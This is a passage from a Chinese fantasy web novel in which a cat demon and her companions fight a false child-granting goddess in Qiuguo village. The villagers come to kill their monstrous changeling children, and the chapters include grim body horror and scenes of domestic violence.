这是反噬，她的法阵被破了。
笼罩在秋果村上的一层黑气骤然消散，露出晴朗的夜空，原来今天月亮和星星都在。
“胡大哥，谢珍珠，你们怎么……叶米！”
万情贞见妖阵被破，还没来得及高兴，就见胡和烈和谢珍珠趴在地上吐血，他虽也有几口血要吐，但是还不至于趴在地上吐，正奇怪着这两个法术比自己高强的人怎么会这样，却见叶米身形一抖，半跪到地上。
万情贞吓了一跳，连忙扑过去关心她：“猫大人，你你你破了阵法，怎么怎么……”
叶米摇摇头没说话，微微咳嗽起来，咳一下喷一点血，咳两下喷两点血。
万情贞呆呆看着她，不知道说什么。
“万情贞……”谢珍珠就在边上，拍拍他说，“没关系的，我们只是被道法波及了一些，因为我们是妖嘛……”
万情贞这时候总算转过了脑子，狠狠松了口气，又有些责怪道：“原来是这样……看来你们三个道心未成，所以会被道法波及，那叶、咳，你们还真敢用啊。”
他偷偷地看叶米，三妖之中，她的波及程度好像最严重，胡和烈已经缓过神，谢珍珠都能讲话了，难道这只猫……
书灵还没想完，叶米就水灵灵地站起来了，虽然脸色是不好看的，但站得是挺稳当的。
万情贞：……啊，就好啦？
“看我做什么？”她瞥了眼书灵，“看那只妖啊。”
万情贞连忙点头：“哦、哦！”
正要走过去，却见那个瘫倒的身影猛地立了起来，黑糊糊的一条人站在屋檐上，有种诈尸的惊喜，惊得叶米和万情贞脚步一顿。
“哈哈哈哈！”她猖狂大笑起来，笑声里还有一些沙哑，“哈哈哈哈哈！你们以为这就完了吗！哈哈哈哈哈！”
“我的天，”走在边上的万情贞缩到猫身后，嗓子发抖，“猫大人，听她的声还是中气十足的啊！”
叶米不以为然：“强弩之末罢了。”
不过在女妖的狂笑之中，叶米还听到几声惊呼，她往左下方一看，原本晕得踏踏实实的一干村民都醒来了，他们听到动静出来打探情况，月色明亮，很轻易就看见了站得高高的几妖。
“是仙娘！”有一男人指着狂笑的女妖说：“仙娘显灵啊！”
“仙娘显灵了！”大家越喊越大声。
虔诚的村民们拖家带口地跑出来，围在这间屋子边的空地上跪下，一个接一个跪拜起来，人群像是海浪般在起伏，一声声“仙娘保佑”不绝于耳，轻松地压过了仙娘的狂笑。
“好、好！”仙娘收了笑声，回应她的信徒们，“你们如此虔诚，我自然会保佑你们……”
“你们不要被骗了！她根本不是神仙，是害人的妖怪！”谢珍珠不知什么时候到了地上，她跑到跪拜着的村民面前，激动地想要揭露真相，“你们快去躲起来，别被她发现……”
那些村民一脸古怪地看着她手舞足蹈，面面相觑，谁也没站起来。
直到仙娘大喝一声：“晚了！”
她用仅剩的余力朝信徒们飞去，一只手伸在前似要抓来什么，一身黑衣在夜色中鬼魅无形，穿过风来势汹汹。
谢珍珠扭头一看，面色大惊，双手一张放出法术想要保护村民们，却觉得自己挡不下这一招，怕得闭起眼睛惨叫：“叶米！！”
叶米前一秒还站在屋檐上想“为什么凡人这么蠢，哪里有神仙穿黑色衣服、化这种妆容的”，下一秒就应声而去，一伸手将那妖精掀开，趁她退到一侧避让，又紧接上一掌将灵光劈到她身上。
“啊！”
仙娘惨叫一声，险险落在地上站住脚跟，她本就遭到了妖阵的反噬，这一下更是让她又虚弱了几分。
村民们被这妖精打架的场面惊得不知所措，但还知道关心他们的好仙娘，正关怀地望去，却见仙娘佝偻着身子，恍惚之间，有许多东西从她背上长了出来——正是叶米非常熟悉的棘刺。
“什么东西啊……”
“仙、仙娘……妖怪啊、仙娘是妖怪！”
眼神好的人瞧见了，大惊小怪地叫喊着，
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腿还没软地站起来要逃窜回家，但不知哪来的狂风大作，“砰砰砰”几声，所有的门窗都被合上，硬来倒是能破开，但百姓们脑子混乱，小小的困难就难住了他们，众人像无头苍蝇一般在街上四处乱窜。
这就很方便了那妖精行事，她哈哈大笑几声，手一伸就有一条黑气从她掌心飞出，穿到一个被母亲抱在怀中的小孩的身上，那小孩瞬间双眼发直，失去了寻常反应。
“小宝！”女人惨叫一声，抱着孩子哭起来，“小宝！救命啊，救救我的孩子！”
叶米落到女人边上，一招斩断黑气，她原以为会像之前那样斩断就没事了，谁知道黑气消失之后，女人怀中的孩子就像被戳了洞的皮筏子，失去内里空气之后，兽皮坍塌下来，变得皱巴皱巴的。
这一个小孩眨眼间就变成了半个，原来它内里的骨骼很小，膨胀开来的人皮现在没了支撑，软塌塌披在骨骼上，五官的空洞没盖准，左眼眶的洞下突出了细小的鼻梁骨。
女人双手维持着抱孩子的动作僵持不动，她甚至一眨不眨地看着自己孩子的变化，最后无声地说了句什么，叶米注意力不在她身上，就不知道了。
不过她得到了满意的答案：“原来真是衍生怪。”那能杀了。
她正要动手，余光瞧见女妖又如法炮制地去吸另一个小孩，叶米手一挥，又斩断一条黑气，但另一个小孩也已经出现了同样的症状，他的母亲绝望地大哭起来。
哭声伴着女妖的笑声，她似乎一点也不在意，转头又去吸别的小孩。
叶米发现她气色好了一些，再结合两个小孩的干瘪的情况，有脑子的就明白是怎么回事。
胡和烈这时候赶过来，叶米觉得他来的正是时候，交代道：“我去阻止她，你把从送子仙娘那求来的小孩都杀了。”
交代完她就冲女妖而去，胡和烈伸着尔康手：“喂！”
喂什么喂，那边已经打起来了。
胡和烈也明白情况，但明白是一回事，下手杀孩子是另……哦，这孩子长这样啊，那就是一回事了。
他正要下手除去这恶心的衍生怪，孩子母亲敏锐察觉到危险，将孩子紧抱在怀中侧过身去，警惕而可怜地哀求道：“你要做什么……”
胡和烈：“斩妖除魔。”
“这是我的孩子……”女人说，“不是妖怪！那个仙娘才是妖怪！”
胡和烈还好心地和她解释：“既然你知道那个仙娘是妖怪，你怀里的是不是你从妖怪那求来的孩子？”
“……是。”
“妖怪给的孩子是不是妖怪？”
“……”
他解释清楚了吧？
胡和烈瞥了眼边上凑过来的万情贞和谢珍珠，手势一起，女人怀中的孩子就被吊到了空中，皮肉耷拉得更明显了。
“小孩”还活着，但活性不高，只偶尔抽动两下，他一抽，两条脱骨的腿就像腊肉的皮在晃动，还蛮有弹性。
“不要啊——”
29. 第 29 章
女人扑腾跪倒在胡和烈面前，颤抖着手在胸口合十，涕泗横流地哭：“不要杀我的孩子……我郎君去得早，只给我留下这么一个孩子，我求求你、我求求你不要杀他……要不、你就把我一起杀了！”
胡和烈又瞥了眼万情贞：“我不杀人。”
他是有些蠢蠢欲动，但看女人哭成这样，又觉得再给她一小会和活着的孩子温存的时刻也不是不行。
谢珍珠心有很多不忍，想要拉女人起来，苦口婆心地劝道：“大姐你清醒点，这根本不是你的孩子，它是妖怪！你看它都没人样了……”
女人拉住谢珍珠的手说：“这都是被那个妖怪害得，是她害得我孩子变成这样的……你们是不是神仙？能不能救救我的孩子？求求你救救我的孩子……”
谢珍珠很苦恼：“其实我也是妖精。”
女人：……
她脸上的惊惧转瞬即逝，很快又全是可怜的哀求：“你是好妖精对不对？你救救我儿子好不好，不要杀他好不好，我求求你们……”
她又去扒拉胡和烈的腿：“求求你们……我孩子不是妖怪，他从来没有害过人的……小宝！”
灵光一闪，死亡来得突然。女人惨叫一声，扑过去接住了自己死无声息的孩子，嘴里的哭声也消失了。
三妖转头一看，叶米神情不爽地站在不远处，脸上还有一道擦伤，见他们看来，给了一个不开心的微笑：“我是不是早说了不要拖我后腿？这点小事都办不好？”
刚刚她交代的是胡和烈，但此时心虚的不只是他。
万情贞四处看了看：“那个女妖呢？”
“一个没注意，不知道跑哪去了。”叶米走近来，语气不大好，“只要这些孩子不死，她便能源源不断地补充法力，不说你们三个，就是我也没精力应付。”
谢珍珠缺斤少两地说：“那是不是只能……但是……”
她看了眼周遭乱七八糟的人群，此时有许多村民围着一对夫妻，那对夫妻怀里抱着的就是女妖第二个吸的孩子：“但是不是所有孩子都变成怪物模样了，很多还是正常的。”
几妖顺着她视线望去，看到村民们对那个小怪物指指点点，许多人怀里还紧紧抱着自己的宝贝孩子：
“老王，你家孩子怎么变成这样了啊？”
“这还是人吗？这是怪物吧！”
“怎么还抱在怀里呢，快把这怪物丢了……”
“都是送子仙娘害的！”
“你还叫人家仙娘，我看是妖婆！”
……
“就是要趁现在他们还不是怪物的时候杀了，等变成怪物，就是女妖已经吸收了它们的精力来增强法术了。”叶米是看着万情贞说的，“万情贞，你应该不会觉得我是在乱杀无辜吧？”
万情贞一惊，连连摆手：“怎么会啊猫大人，我也不是那么是非不分的人，这些孩子明显有古怪，如果趁早解决了，还不知道那女妖会有什么后招。只是、只是我们想杀它们，怕是要违抗众议啊……”
他朝跪在地上抱着自己死去的小孩痛哭的女人抬了抬下巴。
违抗众议？叶米奇怪地想，难道她是什么皇帝不成，还要事事顺从民心？不对，就连皇帝也做不到，那她为什么要顺从民意呢？
“是啊，”谢珍珠皱眉头，“就连变成了怪物的孩子他们都舍不得杀，更何况还没变的……而且，我好像分辨不出哪些是正常小孩、哪些是不正常的……你们看得出来吗？”
万情贞摇了摇头，毫无负担道：“我法力低微，看不出来。”
胡和烈绷着表情，扫了几圈人群众的几个孩子，似有些不情愿地承认：“我也看不出来。”
三双眼睛含着希冀看向叶米，叶米闭了闭眼，叹了口气，诚实摇头。
谢珍珠咬手指头，收回视线不敢看猫：“那要是杀到无辜的孩子……这这这要怎么算啊……”
真是一个没必要问出来的好问题。
“我有办法，”叶米不负众望地说，“我们三个要参与考核不能乱杀人，但万情贞不需要，就让他去杀好了，反正杀这些衍生怪不过是随手的事。”
万情贞：……？
万情贞：！
“不行啊不行啊！”他真是服了，“我不能乱杀人的！就是我不考核，月老也要治我的罪……”
“月老我爹认识啊，”胡和烈很靠谱道，“到时候我让我爹帮你说几句好话、解释一下前因后果便是了，就是看在我爹的面子上，他也不会拿你怎么着。”
万情贞拨浪鼓摇头：“我我我不行，我做不到……”
叶米：“为什么做不到？”
万情贞：“为什么做得到啊！”
叶米叹了口气：“就当是我逼你的。”
万情贞哭哭啼啼：“……逼我我也做不到呜呜，我只是个写书的，哪里干得了杀人的活啊呜呜呜呜！”
装模作样地哭到一半，他瞧见猫冷冰冰的眼神，不由得打了个嗝停下哭腔，闪着眼睛说：“我、我有其他办法，我去说服他们，和那些村民好好说……”
他一边喊着“让让”一边挤进人群之中，最后站在那对抱着怪物孩子的夫妻面前，双手在空中挥舞着吸引大家的注意：“大家安静、安静！都听我说两句！我知道这个孩子变成怪物的原因！”
三妖互看一眼，都明白了他的打算。
本来还没有人理万情贞的，还是听他说到重点，这才闭上了几张嘴巴，有人问：“喂，你不是我们村的人吧？”
“是……不是，这不重要。”万情贞说，“重要的是你们刚刚都看到了吧，你们村一直以来供奉的送子仙娘其实是个妖怪！”
众人就窸窸窣窣地说起话来，有一个六十多的老人被一个女子扶到前边来，村民们纷纷让道，还有人叫了声“村长”。那老人来到万情贞跟前，客气道：“小兄弟，你可是知道怎么对付那妖怪？”
“知道是知道……”万情贞说，“实不相瞒，我和我的几个同伴也是妖精……欸，你们这是什么表
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情，我们都是好妖精！”
有人隐在人群中喊道：“你说你是好的就是好的？刚开始我们也觉得那仙娘是好的啊！”
“嘿，你这人……”
“你们就庆幸我们是妖精吧。”叶米不知什么时候坐在了前方人家的院墙上，即使坐得高，她还是微抬着下巴，面无表情地俯视着地下一群蚂蚁，“不然就凭你们这些凡人，别说一个村了，十个村都不够她杀的。”
众人：……
她说得也是啊。
万情贞：“就是就是！”
“姑娘，”村长朝叶米拱了拱手，“刚刚您对付妖怪的厉害，老夫都瞧见了，若不是您出手相助，还不知道那妖怪要杀多少人……老夫有个不情之请，希望姑娘杀了那妖怪，救我们村于水火！”
村长边上的女子也道：“救人一命胜造七级浮屠，几位若是能出手相助，我们秋果村全村人都会感激不尽，为你们立庙塑像、诚信供奉。”
村民们纷纷应和：“是啊是啊”“秋小姐说得对”……
“立庙塑像就不用了。”叶米心说你这小坡村我还不稀罕，“不过解决这妖怪倒不是难事，只要你们帮忙。”
秋村长道：“姑娘请说，这是我们村的事，大家伙自会尽绵薄之力来帮姑娘除妖……就是要了我这条老命也行。”
“哼。”叶米哼笑一声，从屋檐上站起来，“你的老命没什么用，不过你们村里这些孩子的命倒是有用处。看见那个小怪物没有？他定是从送子仙娘那求来的，这些孩子能给妖怪源源不断地补充法力，让我很难办。”
人群一静。
“这……”秋村长回头看了眼小怪物，连忙把头又转了回来，那可怖的模样是多一眼都不敢看了，“您的意思是……”
叶米说：“我们不会滥杀无辜，只要你们诚实交代哪些孩子是从送子仙娘庙里求来的，我们只杀他们。”
人群二静。
看年纪秋小姐应是秋村长的孙女，她和自家爷爷对视一眼，又朝叶米僵硬一笑，不太自信道：“敢问……杀他们的意思是……”
叶米：？
“‘杀’是什么意思不知道啊？”
叶米眼珠子转了转，精准瞅见了一个在人群中抱着自己孩子、一脸紧张的女子，这对母子她有印象，正是她先前为探究黑气而进的那户人家，也就是说这孩子肯定是衍生怪。
正好。
“喏，就是这意思。”她古怪一笑，三指立起往那小孩的方向一指，小孩和他娘亲只觉寒毛竖起，什么反应都来不及。大家只突然听见一声惨叫，纷纷吓了一跳，转头望去。
女人感到手臂一松，怀中的小孩就瘪了大半，变成了她刚刚还害怕得不敢多看一眼的模样。
“小强！！”
先前惨叫的是她受死的孩子，接下来就轮到她惨叫了：“你为什么要杀我的孩子！？”
谢珍珠就站在她不远处，连忙帮猫解释道：“不是不是，你的孩子是妖怪，你看它……”
30. 第 30 章
“你胡说！”不过几瞬，女人已经泪流满面，“他刚刚还好好的，他刚刚还是寻常的模样，都是她、是她杀了我的孩子才会变成这样！你们才是妖怪、你们才是害人的妖怪！！”
谢珍珠耳朵快被她吵麻了，还要苦着脸继续解释：“不是不是，你想想嘛，正常人死了那会是这幅尊荣啊……”
女人悲伤上头，哪里听得到解释，一手抱着孩子的尸体，一手上前抓住谢珍珠的衣领，激动得不行：“你还我孩子、还我孩子！”
“大姐你冷静点……”
谢珍珠好柔弱一只妖，被她抓得晃来晃去，胡和烈正要过来帮忙，但边上有人动作比他更快，只见女人被一把扯过去，“啪”的一声挨了一巴掌，“啊”了一声摔倒在地上，怀中的孩子也被抢走了。
得了解脱的谢珍珠脑袋一懵，转眼望去，是刚刚一直站在女人边上、却一言不发的男人。
哎呀这，谢珍珠想，虽然但是，打一个陌生女人不太好吧……
女人捂着脸，震惊道：“你做什么……”
“少添乱！”男人黝黑的脸上透着红，不知道是气的还是羞的，“你又不是死了男人，老子他娘的还活着！要孩子再生一个不就行了？为了一个妖怪哭成这样，你不要脸我还要！”
女人的眼泪从她捂着脸的手背上流下，她不可置信地摇摇头：“你怎么能说我十月怀胎的孩子是妖怪？小强不也是你亲眼看着长大的！你早上还背着他喊好儿子，你都忘了！？”
“你没听她说吗？”男人也越发激动，“这些妖怪送的小孩不死，那妖怪也死不了！你是想留着这个怪物孩子，害了我们全村啊！？”
“不是、我的孩子不是怪物……我是他娘亲，我怎么会不知道……”
女人的悲伤不能自已，她瘫坐在地上哭个没停，周遭的村民小声地议论纷纷，离得近些的还会安慰她：
“算了吧，孩子没了再生就好了……”
女人闻言，猛然抬起眼，指着那个说话的人道：“老陈，我记得你家的小女儿也是在送子仙娘那求来的对吧！”
被叫老陈的人一惊：“……不、不是！”
女人指认完一个，又伸长手臂从左到右一个个扫过去：“还有你、你也是，你家的孩子也是，还有你家的双生子……全都是从仙娘那求来的，你们一个也别想逃！”
她这么指出来了，叶米就发现不是所有的大人都带着孩子的，毕竟现在是深夜，有些小孩还在屋里睡觉呢。
“你胡说！”被她指认的其中一人道，“我家孩子在求仙娘前就怀上了，才不是怪物！”
“我家也是，早就怀上了……”
“我大宝也是啊……”
“对啊对啊，我是自己怀上的，去仙娘庙只是求个保胎而已……”
见一个个的都不承认，到头来没了孩子的只有她自己，女人几欲崩溃：“骗人、你们都是骗子！都是骗子……”
……乱七八糟。
万情贞仰头看见叶米站在屋檐上，猫脸都气笑了，哭笑不得地安慰她：“猫大人你别生气，就算是怪物，但对这些凡人来说也是她们十月怀胎生的孩子，他们一时想不开、舍不得，也是难免的……”
叶米何尝不知道这个道理，只是知道是一回事，生气是另一回事：“我是无所谓，反正等会那女妖回来了，我打不过还能跑得掉，这些凡人往哪跑去？”
万情贞连忙说：“原来大人是替他们着想……”
叶米：才不是。
另一边的胡和烈也是忍不了了，谢珍珠又拦不住他，眼睁睁见他走上来，推开一个嚷嚷着“我孩子不是仙娘庙求来的”男人，站在人群中间大喊道：“你们是不是脑子犯了蠢、搞不清楚状况？”
“我说的都是真的，我的孩子……”
“真的假的还用你说，等那妖怪回来吸了你孩子的精气，我想不知道都难！”胡和烈朝他翻了个大白眼，“他们本就是妖怪，不过套了层人皮。不死在我们手上、就是死在那送子仙娘手上！到时候她吸光了所有孩子的精气，我们跑得了，你们这些凡人就是长出翅膀也插翅难飞！”
道理是……这么个道理哈。
人群静悄悄的，垂着的每一个头颅都安着两只心虚的眼睛。
胡和烈看过一张张阴影中的脸，忽然嗤笑一声：“这么简单的道理你们都不懂？还是说……只是自欺欺人地觉得等那妖怪死了、自己的孩子只要不变成怪物模样，就可以继续稀里糊涂地过下去了？”
还是没人说话，只听到秋村长一声年迈的叹息。
“你懂什么！”第一个打破平静的还是那个刚刚失去孩子的女人，她不知道什么时候又把孩子尸体抱回来了，紧紧地抱在怀里，夸张的是她的眼泪还在流个没停，“你没有生养过孩子，你懂什么、你哪里知道为人父母的心……”
她的丈夫也不知道上哪去了，也许是觉得她这模样丢人、碍眼，避嫌去了。
胡和烈瞥见她怀里那玩意儿，恍然又想起自己肚子里也有这玩意儿呢，一时间气不打一处来，骂人都不知道骂什么了。
“算了。”
这时候上方飘来一道声音，正是不耐烦的叶米：“我看你们村个个都是慈母善父，不管孩子是人是妖还是鬼，都很是于心不忍……既然如此，我们也不强人所难好了。”
她从屋檐上跳下来，轻巧地落到人群外，朝胡和烈抬了抬下巴：“走啊，趁那个女妖回来前赶紧走了，好省去一场无意义的恶斗。”
谢珍珠拿不准她说真的还是假的：“叶米，我们走了，这些村民要怎么办……”
“还能怎么办？”胡和烈走过来，和猫一唱一和道，“他们不肯说出真相，我们打不过那女妖，留在这里也是死，不如就走了算了，为何要留下来陪他们送死？我们不过是过路人，死了不无辜吗？”
这下就连谢珍珠也觉得他俩说得好有道理，更何况她法力低微
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，也没资格指指点点地发表意见，就含着点希望地看向万情贞。
万情贞比螃蟹精聪明一点，他自作聪明地认为叶米是在故意说反话让村民们做出决定，便应和道：“是啊是啊，那女妖这么厉害，我们还是走吧，我才不想死呢！”
谢珍珠：真的啊？
比起她的疑惑，村民们已经开始提心吊胆了，但还是谁也没冒头。只有村长慌慌张张地在他孙女的搀扶下赶过来挽留道：“几位大人等等、等等……”
胡和烈：“等不了了。”
“唉……”老人家叹起气来真是可怜，他苦口婆心地劝自己的村民们，“各位父老乡亲，我知晓让你们亲眼看着自己孩子去死，实在是太过残忍，可是如今形势所迫，我们秋果村已经受这妖怪蒙骗了两年，不是为了别人、就当是为了我们村自己人……唉，迷途知返吧！”
“村长。”有人说，“我说实话，在这个仙娘变妖怪之前，这些孩子都没事的啊，等妖怪死了，事儿说不定就这么过去了。”
“是啊是啊。”有人应和，“而且我也不知道我的孩子是仙娘给的还是我媳妇自己怀的，这不好说。”
“就是就是……”
“你们……”老村长没想到这一个个的居然这么冥顽不灵，一双浑浊的眼睛里透出难言的悲哀和无奈。
本来想逼这些蠢货一把的叶米，这时候感到可笑的讽刺，心里是真的想走了，但想是一回事，她还是得找办法解决这场闹剧，毕竟这八成是考核的一环。可她看不出哪些是怪物的孩子，这该怎么办呢……
她瞥过一张张脸，觉得要不就一个个问过去，看看谁露出了心虚的表情……嗯？这个女人是……冯昭？
叶米就回想起她妹妹冯紫和她们说过的一切，灵光一闪。
“既然你们说分不清自己的孩子是仙娘送的还是自己怀的，我倒是有个好办法。”见众人看来，叶米露出稳妥的微笑，“我听人说，但凡生过仙娘给的孩子的女人，身上会多长出两个乳*房、肚子上会有鬼脸……”
她话音未落，那个没了孩子的女人就大声喊道：“没错，就是她说的那样，我就是这样的！哈哈哈哈哈！你们、你们还敢说分不清？胡说八道！哈哈哈哈！”
叶米：……这人疯了吧。
不过也算是提供了不靠谱的证明了，叶米就点点头说：“好了，现在你们明白是什么情况了，所以是要自己站出来，还是我一个个扒了衣服看？”
众人：。
怎么还是没人说话？
叶米猜他们是在怀疑她会不会真的扒人衣服。
既然如此……
她手一伸，离她最近的一对母子就被她凭空抓了过来，女人惨叫一声“救命啊”，谢珍珠也是大惊失色：“叶米！你不要这样——”
叶米：？
她哪里真会扒人衣服啊，只不过想着既然有四个乳*房，那她抓过来摸摸看好了，反正都是女的，也没什么……
31. 第 31 章
可未等她伸手轻薄人家，这女人的丈夫就冲了出来，一把将女人从叶米手中救出，“啪”的给了一巴掌，然后从他妻子手中抢过那个尚在襁褓的孩子，满脸通红地怒骂道：
“早让你承认了，你偏不认！就要衣服被扒光了在大伙面前丢尽了我的脸才高兴是吧！？”
女人捂着脸，一脸震惊地看着他：“你说什么……”
她丈夫却不再理会她，双手捧着不知道什么时候哭起来的小婴儿，殷勤地朝叶米一递：“大人，这婆娘不懂事，硬是不让我说！请请请，我家这孩、怪物随你处置吧……”
“不要啊，我的孩子——”
那女人又扑过来，她丈夫就随脚一踹把她踢远了。
叶米看了眼很快就被村民们控制住的女人，皮笑肉不笑地笑了一声：“是，要是人人都有你这般懂事，那女妖早就惨死我手，你们村也不会大难临头了。”
话落，她也不犹豫，只见白光一闪，襁褓中的婴儿发出一声不似人的惨叫声，转眼就从人样变成了怪物。
那男人瞅了一眼，像刚发现手上沾了屎似的，恶寒地扔到了一边去了，似乎松了口气，整个人变得轻松起来，还哈哈笑了两声道：
“我说怎么生个孩子身上就长那些糟蹋玩意，原来是这个原因啊？哈哈哈哈！喂，老赵，你媳妇不也是这样？那你的儿子……”
“还有你，你之前和我说你媳妇也是……”
男人们似乎有私底下吐槽过这事，抱着“我孩子没了你也得没”的心态，一个人就连带出一大串来；女人们惊慌地面面相觑，有孩子的抱着孩子警惕地看着叶米，没孩子的一脸无措，也不敢回家。
暴风雨在村民们互相指认之中酝酿着，情况变得有些暧昧了。
万情贞在叶米边上小声吐槽：“猫大人，他们看你的眼神像在看杀人犯呢……”
猫大人说：“要不是你们废物，杀衍生怪这点小事还用得着我出手？”
万情贞：……
打破暧昧情况的是一个男人忽然抓住一个要跑的女人：“喂，你家小宝也是仙娘给的，你要跑哪去啊？”
女人惊恐道：“你放开我！”
男人就放开了她，却猛地弯腰，一下子把藏在她身后的一个两岁的孩子拉了出来：“行啊你走吧，你的小宝留下！”
女人连忙拉住了他孩子的另一只手，朝边上的丈夫哭喊道：“你还愣着做什么？还不救你的儿子！”
她儿子哭喊起来，她丈夫却只是撇过脸，露出舍己为人的不忍。
谢珍珠也不忍，眼泪蓄着泪水：“这孩子都会走路了，怎么舍得……”
“你脑子也跟这些村里的女人一样不清醒啊？”胡和烈嫌弃她多余的同情，“都说了他们是衍生怪，根本不是人。”
“可是……”
“没指望你下手。”胡和烈瞥了眼叶米，心里想证明自己与螃蟹精的不同，放出法术就要杀了那个小孩，但那道杀人的白光在将要落到孩子身上时被反弹开来，取而代之的一道黑气从小孩的天灵盖上迅速穿入。
胡和烈：“糟了！”
“他娘的……那妖怪又回来了！”抓住小孩的男人连忙松了手，害怕地往后退了两步。
孩子的母亲痛哭流涕地扑上去抱住他，却只能眼睁睁地见她的小宝变成怪物模样，也就她还当个稀罕宝贝，抱在怀里紧张地看向叶米。
叶米这会没空管她，女妖又回来了，她只得去对付人家，但这一回她学聪明了，刻意在女妖快得手的时候才出手将她拦下：
比如她要杀那个男人，叶米就等她抓了男人一爪子后，再飞过去把她掀开。
事实证明这样有延迟性的拯救是非常有效的，那个被她救下的男人就真切地感受到了大难临头，主动地冲进屋里，将自己睡梦中的孩子拉出来，甚至见叶米没空来杀，自己不知道从哪找了把菜刀来，两下就把孩子砍死了。
他娘子哭着要拦他，眼见那把刀要伤到女人，还是万情贞出手拦了一把，不至于让无辜的人伤亡。
叶米和女妖斗了几个来回，发现她除了见缝插针地吸小孩精气之外，如果要伤人，伤得多是男人，这倒是与她的计划不谋而合。
没过多久，甚至用不着胡和烈他们出手，男人们自发地开始杀孩子——他们自然知道孩子的来处，下手时也许有片刻的犹豫，但瞧见死去的孩子变成奇怪的畸形肉块时，又感到安心的舒畅，甚至有那么一点“没杀错”的爽感。
女人的惨叫和哭声不绝于耳，一声声震痛着谢珍珠的耳膜，她看见一个小孩死去，正惊心动魄地悲伤着，那小孩的皮肉就掉下来，她又觉得十足的恶心；她去拉住一个一边哭一边打自己女人，那女人转过来恶狠狠地瞪着她、骂她杀了自己的孩子……
谢珍珠无助地重复着“我没有杀人，那些孩子不是人啊”。
胡和烈把她从女人的手中拉出来：“你管她做什么！快去收拾那些被吸了精气还没死的衍生怪！有些没吸干净还有力气的都跑远了，你看不到吗！”
“……哦、哦。”
叶米没有血包补充，追得有些累了，落在屋檐上休息了会，她原以为女妖会趁此机会去再吸点血包，抬起头来，却看见她站在不远处，一脸笑意地看着自己。
见她看来，女妖歪了歪脑袋，笑道：“还跑得动吗？”
叶米吐出口气：“杀个你还绰绰有余。”
“哈哈啊哈哈！”她又大笑起来，“你倒是有些手段，居然能让他们自己去杀自己的孩子。你猜你和我一样，也喜欢这样的人间惨剧，对不对？”
女妖的视线看向屋檐下，面露满意；叶米不用看也知道下边的热闹，但她并不承认：“不是人间，是你的惨剧，他们杀的都是你的小怪物……哦，如果你更喜欢称呼那些怪物为孩子的话，我奉陪。”
女妖：“哈哈哈哈哈！小猫妖，我说的惨剧……和你眼中看到的可不同。”
叶米：“话真多。”
猫一跃而起，伸出利爪，打算远战转进攻，女妖一个旋转翻身跳开，朝她飞来几根棘刺，叶米两三下打歪了，一抬
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眼却见她又跳到了另一侧的屋檐上，双手张开着，手臂和背脊上又长出许多棘刺来，有粗有细，数不清有几根。
叶米扔过去一个法术，她拿手臂上的棘刺一挡，也就发出一声“铮”后，啥事没有了。
刚刚可不是这样的，叶米蹙眉暗道，看来长刺是代表这女妖的妖法又增强了。
“哈哈哈哈哈！”女妖见她有短暂的沉默，得意地笑道，“他们杀的可没有我吸的快！现在我长出刺来，你休想像先前那样轻易地伤了我！哈哈哈哈！”
叶米看着她欠揍的笑脸。
不信。
然后她就断了两根指甲。
不过好歹拔掉了女妖几根刺，倒也不算很丢脸。
趁着女妖惨叫着躲开去止血的时候，猫耷拉着流血的手飞到胡和烈边上，打算让他用绣花针对付女妖，毕竟他的针是妖界最尖锐坚硬的兵器之一，肯定比那豪猪精的猪刺要厉害。
但找到扑棱蛾子了才发现，他正避开人群靠坐在墙角，一脸苍白地哆嗦呢。谢珍珠在他边上蹲着，眼睛红红的，见叶米过来连忙跳起来说：“叶米，刚刚好可怕，那妖怪的黑气又穿到胡大哥肚子里了呜呜呜……胡大哥都疼死了！”
怪不得这两妖这幅模样。
叶米了然，走过去关心地问：“还能活吗？”
胡和烈：……
“死不了！我不想听你的风凉话……”
叶米：“我能怎么帮你？”
胡和烈现在龇牙咧嘴的模样像命悬一线时精疲力竭的可怜小兽：“你不害我就不错了！都怪你，害我肚子里……”
叶米瞥了眼他的肚子：“其实我想了想，这也不是很难办。”
胡和烈一下子断了声，警惕又藏着点期待地看着她：“……你什么意思？”
叶米的意思是：“你是妖怪，开膛破肚取个小孩而已，不会死。”
谢珍珠捂住嘴巴，眼珠子溜溜地转。
胡和烈：……
一股名为“荒唐”的怒火在他疼得要死的肚子里翻来覆去，胡和烈发现妖无语的时候真的会笑：“哦，我算是明白了，你的不难办就是不死就行！”
“是不难办，除非你对自己下不了狠手。”
“瞧不起谁啊！？”
胡和烈抬起手，修长的螫针就显形于他掌中，他转了尖头对准了自己的肚子，握得紧紧的手不受控制地颤抖起来，额头上又冒出了许多新汗。
谢珍珠看着也是很紧张，呼吸都轻了许多。
他似乎在和什么作着斗争——是什么呢？总不是害怕吧。胡和烈从来觉得自己是勇敢大胆的，甚至夫子们都劝他要收收自己的鲁莽，别见着个妖就冲上去打，好歹看看对方有没有同伙或是后手。
他应该也是不怕疼的，修习法术时受过不少伤，很大一部分还是拜面前这只看好戏的臭猫所赐，但他不觉得受点伤怎么了，打架不受伤才丢妖脸呢。
可是现在他为何犹豫了？他在怕什么？
不会只是害怕……自己伤害自己吧？
32. 第 32 章
叶米见他犹豫不决、盯着自己的肚子都双眼发直了，心下不耐，嘴上好心地说：“我说过，会对你负责的。”
胡和烈：？
他甚至没反应过来，叶米就握住他的螫针，一下将针头捅进了他的肚中。
胡和烈：O.o
谢珍珠捂着嘴巴也发出一声惊呼，她见叶米动作这么快准狠，连忙弯下腰去看了看胡和烈的后背，这才松了口气：幸好幸好，没给捅穿了。
一开始是没觉得疼的，胡和烈看着叶米面不改色、只是嘴角微微勾起一个可疑微笑的模样，觉得脑子热热的，自己发现了真相：“臭猫，你、你早就想杀我了……”
“是。”叶米就没忍住笑出来了，“这下总算得偿所愿。”
她话音一落，一抬手就将螫针拔了出来，胡和烈感到剧烈的疼痛，没忍住发出一声惨叫：“啊！！”
“啊！！”谢珍珠被他破了个洞的肚子吓了一跳，“血、好多血！！”
叶米把螫针上的畸形肉块甩到边上去：“别叫了，给他止血。”
这么说着，她先伸出手，源源不断地给胡和烈的伤口输送灵力。谢珍珠见状连忙效仿，她的手比伤者的还抖。
胡和烈疼得脑子发蒙，好在很快就在二妖的法术下恢复过来，开始调息运气。只是余光看到被扔到边上的畸形肉块，想到这东西待在他肚子里许久，还动来动去的，不由得感到难言的恶心，嗓子一蛄蛹差点吐出来，连忙把头扭过去，眼不见为净。
一转头，又瞧见那边闹闹哄哄的一群几十上百的人，上演着相似又不同的戏码：爹要杀孩子娘不肯，爹娘要杀孩子爷爷奶奶不肯……地上也躺了许多怪物小孩的尸体了。
胡和烈把头转回来，盯着自己的伤口看。
